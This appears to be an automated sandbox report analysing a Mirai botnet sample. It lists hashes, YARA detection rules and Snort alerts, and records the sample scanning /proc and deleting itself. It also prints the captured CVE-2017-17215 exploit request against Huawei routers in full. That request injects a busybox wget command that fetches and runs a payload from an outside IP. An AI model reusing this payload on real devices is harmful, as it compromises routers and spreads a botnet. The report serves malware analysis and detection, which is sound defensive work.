Edit tour

Linux Analysis Report
3f8dH3KxbO.elf

Overview

General Information

Sample Name:	3f8dH3KxbO.elf
Original Sample Name:	b2c7b530dda1e86285699cc34666bcf7.elf
Analysis ID:	831106
MD5:	b2c7b530dda1e86285699cc34666bcf7
SHA1:	5a4fa656800a06fbd556084b2c878469fbe1ce47
SHA256:	792754c6e660335fe22a3099a2953c7d51b9b5c9eb6bed989790393ba1ef8ce9
Tags:	32elfintelmirai
Infos:

Detection

Mirai

Score:	96
Range:	0 - 100
Whitelisted:	false

Signatures

Malicious sample detected (through community Yara rule)

Yara detected Mirai

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Sample deletes itself

Sample is packed with UPX

Uses known network protocols on non-standard ports

Connects to many ports of the same IP (likely port scanning)

Sample contains only a LOAD segment without any section mappings

Yara signature match

HTTP GET or POST without a user agent

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

ELF contains segments with high entropy indicating compressed/encrypted content

Classification

Analysis Advice

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	831106
Start date and time:	2023-03-21 03:29:20 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 51s
Hypervisor based Inspection enabled:	false
Report type:	light
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	3f8dH3KxbO.elf
Original Sample Name:	b2c7b530dda1e86285699cc34666bcf7.elf
Detection:	MAL
Classification:	mal96.troj.evad.linELF@0/0@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
TCP Packets have been reduced to 100

Runtime Messages

Command:	/tmp/3f8dH3KxbO.elf
PID:	6229
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	nkuvgpkpi/vwp2
Standard Error:

Process Tree

system is lnxubuntu20

3f8dH3KxbO.elf (PID: 6229, Parent: 6131, MD5: b2c7b530dda1e86285699cc34666bcf7) Arguments: /tmp/3f8dH3KxbO.elf

3f8dH3KxbO.elf New Fork (PID: 6230, Parent: 6229)

3f8dH3KxbO.elf New Fork (PID: 6232, Parent: 6229)

3f8dH3KxbO.elf New Fork (PID: 6233, Parent: 6232)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
6229.1.0000000008048000.0000000008056000.r-x.sdmp	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth (Nextron Systems)	0xd13e:$x2: /dev/misc/watchdog 0xd130:$x3: /dev/watchdog 0xd275:$s1: LCOGQGPTGP
6229.1.0000000008048000.0000000008056000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
6229.1.0000000008048000.0000000008056000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6229.1.0000000008048000.0000000008056000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x78e0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
6229.1.0000000008048000.0000000008056000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x9da2:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6229.1.0000000008048000.0000000008056000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xba9e:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6229.1.0000000008048000.0000000008056000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa5b2:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6229.1.0000000008048000.0000000008056000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x9d72:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 3 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.35.80.175

Timestamp:	192.168.2.2341.35.80.17537350372152835222 03/21/23-03:30:32.951807
SID:	2835222
Source Port:	37350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.27.187

Timestamp:	192.168.2.23156.247.27.18733884372152835222 03/21/23-03:30:43.507431
SID:	2835222
Source Port:	33884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.38.230.95

Timestamp:	192.168.2.23154.38.230.9548244372152835222 03/21/23-03:30:28.214197
SID:	2835222
Source Port:	48244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.246.192.49

Timestamp:	192.168.2.23197.246.192.4940868372152835222 03/21/23-03:30:30.427381
SID:	2835222
Source Port:	40868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.11.103

Timestamp:	192.168.2.23156.226.11.10359142372152835222 03/21/23-03:30:48.796217
SID:	2835222
Source Port:	59142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.44.245

Timestamp:	192.168.2.23156.254.44.24551292372152835222 03/21/23-03:30:30.585388
SID:	2835222
Source Port:	51292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.213.189.79

Timestamp:	192.168.2.23154.213.189.7935618372152835222 03/21/23-03:30:38.901778
SID:	2835222
Source Port:	35618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.211.47.114

Timestamp:	192.168.2.23154.211.47.11446036372152835222 03/21/23-03:30:28.311917
SID:	2835222
Source Port:	46036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.89.39

Timestamp:	192.168.2.23156.254.89.3942060372152835222 03/21/23-03:30:35.326766
SID:	2835222
Source Port:	42060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.227.245.46

Timestamp:	192.168.2.23156.227.245.4649918372152835222 03/21/23-03:30:36.616130
SID:	2835222
Source Port:	49918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.236.89.9

Timestamp:	192.168.2.2341.236.89.945968372152835222 03/21/23-03:30:35.158451
SID:	2835222
Source Port:	45968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.201.25.124

Timestamp:	192.168.2.23154.201.25.12433512372152835222 03/21/23-03:30:39.166861
SID:	2835222
Source Port:	33512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.208.147.249

Timestamp:	192.168.2.23154.208.147.24947468372152835222 03/21/23-03:30:26.768093
SID:	2835222
Source Port:	47468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.43.16.185

Timestamp:	192.168.2.2341.43.16.18551276372152835222 03/21/23-03:30:38.721581
SID:	2835222
Source Port:	51276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.66.63

Timestamp:	192.168.2.23156.254.66.6360202372152835222 03/21/23-03:30:39.166793
SID:	2835222
Source Port:	60202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 154.216.21.93

Timestamp:	192.168.2.23154.216.21.9338882372152835222 03/21/23-03:30:42.237111
SID:	2835222
Source Port:	38882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.58.127

Timestamp:	192.168.2.23156.254.58.12744726372152835222 03/21/23-03:30:39.695821
SID:	2835222
Source Port:	44726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 31 33 2e 31 30 36 2e 31 33 30 20 2d 6c 20 2f 74 6d 70 2f 6e 65 67 72 6f 20 2d 72 20 2f 2e 6f 4b 41 33 31 2f 62 6f 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 65 67 72 6f 3b 20 2f 74 6d 70 2f 6e 65 67 72 6f 20 68 77 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.113.106.130 -l /tmp/negro -r /.oKA31/bok.mips; /bin/busybox chmod 777 /tmp/negro; /tmp/negro hw.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Summary

Malicious sample detected (through community Yara rule)

Source: 6229.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth (Nextron Systems)
Source: 6229.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6229.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6229.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6229.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6229.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown

Source: LOAD without section mappings

Program segment: 0xc01000

Source: 6229.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth (Nextron Systems), description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b, modified = 2023-01-27
Source: 6229.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6229.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6229.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6229.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6229.1.0000000008048000.0000000008056000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26

Source: classification engine

Classification label: mal96.troj.evad.linELF@0/0@0/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $

Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/6230/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/6231/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1582/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/3088/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/230/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/110/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/231/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/111/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/232/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1579/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/112/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/233/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1699/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/113/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/234/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1335/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1698/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/114/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/235/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1334/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1576/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/2302/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/115/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/236/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/116/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/237/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/117/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/118/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/910/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/119/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/912/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/6109/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/10/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/2307/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/11/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/918/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/12/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/13/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/14/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/15/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/16/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/17/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/18/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1594/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/120/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/121/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1349/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/122/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/243/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/123/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/2/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/124/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/3/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/4/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/125/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/126/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1344/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1465/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1586/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/127/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/6/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/248/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/128/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/249/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1463/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/800/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/9/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/801/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/20/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/21/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1900/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/22/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/23/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/24/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/25/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/26/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/27/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/28/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/29/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/491/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/250/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/130/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/251/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/252/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/132/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/253/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/254/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/255/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/256/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1599/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/257/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1477/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/379/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/258/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1476/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/259/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1475/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/4500/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/936/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/4503/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/30/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/2208/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/35/cmdline
Source: /tmp/3f8dH3KxbO.elf (PID: 6233)	File opened: /proc/1809/cmdline

Hooking and other Techniques for Hiding and Protection

Sample deletes itself

Source: /tmp/3f8dH3KxbO.elf (PID: 6229)

File: /tmp/3f8dH3KxbO.elf

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 47468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46036 -> 37215
